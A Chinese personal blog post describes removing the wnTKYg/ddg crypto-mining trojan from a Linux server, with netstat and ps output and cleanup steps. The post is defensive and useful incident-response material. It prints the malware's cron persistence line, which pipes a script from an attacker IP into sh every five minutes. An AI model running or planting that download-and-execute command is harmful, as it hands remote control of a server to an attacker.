记录清除wnTKYg挖矿工木马（守护进程ddg.xxxx）的过程
起因，阿里云多次提醒我的一台服务器有恶意发包行为，且给出了一些解决办法。之前也没太在意，就按照解决办法处理了一下。然后过一段时间，还是提示有此行为。
猜肯定是中了木马了，开始以为是被肉鸡了拿来做DDoS攻击别人了。今天去服务器上仔细看了一下。然后发现了问题究竟（目前猜应该如此，还等待观察）。
现将过程记录如下：
1、先查看一下端口情况，发现有些名为ddg.xxxx的进程很可疑。然后看了下远程的链接IP，美国、法国等地方，很奇怪。网上搜了一下，没什么结果。
[root@zhangtianguo ~]# netstat -anp Active Internet connections (servers and established) Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name tcp 0 0 0.0.0.0:22111 0.0.0.0:* LISTEN 840/sshd tcp 0 0 127.0.0.1:32000 0.0.0.0:* LISTEN 27121/java tcp 0 0 127.0.0.1:11211 0.0.0.0:* LISTEN 20918/memcached tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN 813/nginx: worker p tcp 0 0 0.0.0.0:81 0.0.0.0:* LISTEN 1497/httpd tcp 0 0 0.0.0.0:82 0.0.0.0:* LISTEN 1497/httpd tcp 0 0 0.0.0.0:83 0.0.0.0:* LISTEN 1497/httpd tcp 0 0 0.0.0.0:85 0.0.0.0:* LISTEN 1497/httpd tcp 401 0 我的IP:42388 106.11.68.13:80 CLOSE_WAIT 11393/AliYunDunUpda tcp 0 1 我的IP:43968 52.2.199.2:8443 SYN_SENT 1620/ddg.1010 tcp 0 1 我的IP:38258 54.222.159.38:8443 SYN_SENT 1620/ddg.1010 tcp 401 0 我的IP:41811 106.11.68.13:80 CLOSE_WAIT 11393/AliYunDunUpda tcp 401 0 我的IP:53489 140.205.140.205:80 CLOSE_WAIT 11393/AliYunDunUpda tcp 0 0 我的IP:59795 202.181.169.98:8443 ESTABLISHED 25125/ddg.2011 tcp 0 0 我的IP:50071 212.83.189.246:443 ESTABLISHED 12908/wnTKYg tcp 0 1 我的IP:47592 106.75.74.11:9443 SYN_SENT 12799/ddg.1009 tcp 371 0 10.174.208.36:51087 100.100.25.3:80 CLOSE_WAIT 11393/AliYunDunUpda tcp 0 0 我的IP:40019 106.11.68.13:80 ESTABLISHED 11448/AliYunDun tcp 0 0 127.0.0.1:32000 127.0.0.1:31001 ESTABLISHED 27119/wrapper tcp 0 1 我的IP:39511 39.108.56.56:8443 SYN_SENT 1620/ddg.1010 tcp 0 1 我的IP:50528 121.69.45.254:8443 SYN_SENT 1620/ddg.1010 tcp 0 1 我的IP:51132 106.75.71.242:8443 SYN_SENT 1620/ddg.1010 tcp 0 1 我的IP:60425 120.77.46.195:8443 SYN_SENT 1620/ddg.1010 tcp 0 1 我的IP:54458 116.39.7.114:8443 SYN_SENT 1620/ddg.1010 tcp 0 1 我的IP:57546 54.183.178.110:8443 SYN_SENT 1620/ddg.1010 tcp 0 1 我的IP:57686 106.75.134.239:8443 SYN_SENT 1620/ddg.1010 tcp 0 1 我的IP:56848 61.65.191.22:8443 SYN_SENT 1620/ddg.1010 tcp 401 0 我的IP:52910 106.11.68.13:80 CLOSE_WAIT 11393/AliYunDunUpda tcp 0 604 我的IP:22111 27.10.185.19:63158 ESTABLISHED 19368/sshd: root@pt tcp 0 1 我的IP:56357 165.225.157.157:8443 SYN_SENT 1620/ddg.1010
2、然后，看了下这个进程的具体情况，居然是在/tmp/下的进程，心中更多抑或：
[root@zhangtianguo ~]# ps aux | grep ddg root 1620 0.1 0.7 209684 13688 ? Sl Jul12 78:05 /tmp/ddg.1010 root 12799 0.0 0.2 262816 5460 ? Sl Jul01 9:32 /tmp/ddg.1009 root 19576 0.0 0.0 112644 960 pts/1 S+ 10:01 0:00 grep --color=auto ddg root 25125 0.0 0.2 207236 5172 ? Sl Aug27 2:13 /tmp/ddg.2011 root 28248 0.0 0.2 207192 4520 ? Sl Jul27 38:09 /tmp/ddg.1021
3、再去看看/tmp/下的文件，只有一个ddg.2011的文件，当时就心想，肯定是这些进程运行后，又自动删除了文件，看时间，8月创建的时间的文件，全部统统rm掉：
[root@zhangtianguo tmp]# ll -ah total 9.6M drwxrwxrwt. 9 root root 4.0K Aug 29 10:02 . drwxr-xr-x. 20 root root 4.0K Jun 30 18:04 .. srwxr-xr-x 1 root root 0 Aug 28 12:53 Aegis-<Guid(5A2C30A2-A87D-490A-9281-6765EDAD7CBA)> -rwxr-xr-x 1 root root 9.5M Aug 11 10:13 ddg.2011 drwxrwxrwt. 2 root root 4.0K Nov 21 2014 .font-unix drwxr-xr-x 2 root root 4.0K Aug 17 10:07 hsperfdata_root drwxrwxrwt. 2 root root 4.0K Nov 21 2014 .ICE-unix drwx------ 3 root root 4.0K Nov 26 2015 systemd-private-nwO9vi drwxrwxrwt. 2 root root 4.0K Nov 21 2014 .Test-unix drwxrwxrwt. 2 root root 4.0K Nov 21 2014 .X11-unix drwxrwxrwt. 2 root root 4.0K Nov 21 2014 .XIM-unix
4、再重复步骤1，查看端口情况，又发现了这个玩意儿，感觉不太正常（直觉）：
tcp 0 0 我的IP:50071 212.83.189.246:443 ESTABLISHED 12908/wnTKYg
5、一搜，原来居然是个挖矿的程序貌似。原来已经有不少人中招过了。解决办法也有很多人给出了，基本上就是：
先给redis的问题处理掉，改端口、加密码之类；
查看/root/.ssh/下的文件，是否有异常登陆信息，有的话删掉；
搜索wnTKYg的相关文件（ find / -name *wnTKYg*），删掉；
删掉/tmp/下的异常文件（主要是ddg.xxxx之类的）；
kill掉wnTKYg以及ddg.xxxx的进程；
还有个问题，这个程序有个自动任务，从木马服务器下载程序执行，也要删掉：
cd /var/spool/cron ll -ah rm -rf *
我查看这个目录时，发现里面的自动任务是这样的，好像是印度一个IP：
[root@zhangtianguo cron]# cat root
*/5 * * * * curl -fsSL http://218.248.40.228:8443/i.sh?6 | sh
至此，完工。然后继续观察。
参考资料。感谢：
http://blog.csdn.net/u010789532/article/details/70528648
http://blog.csdn.net/zimou5581/article/details/73064878
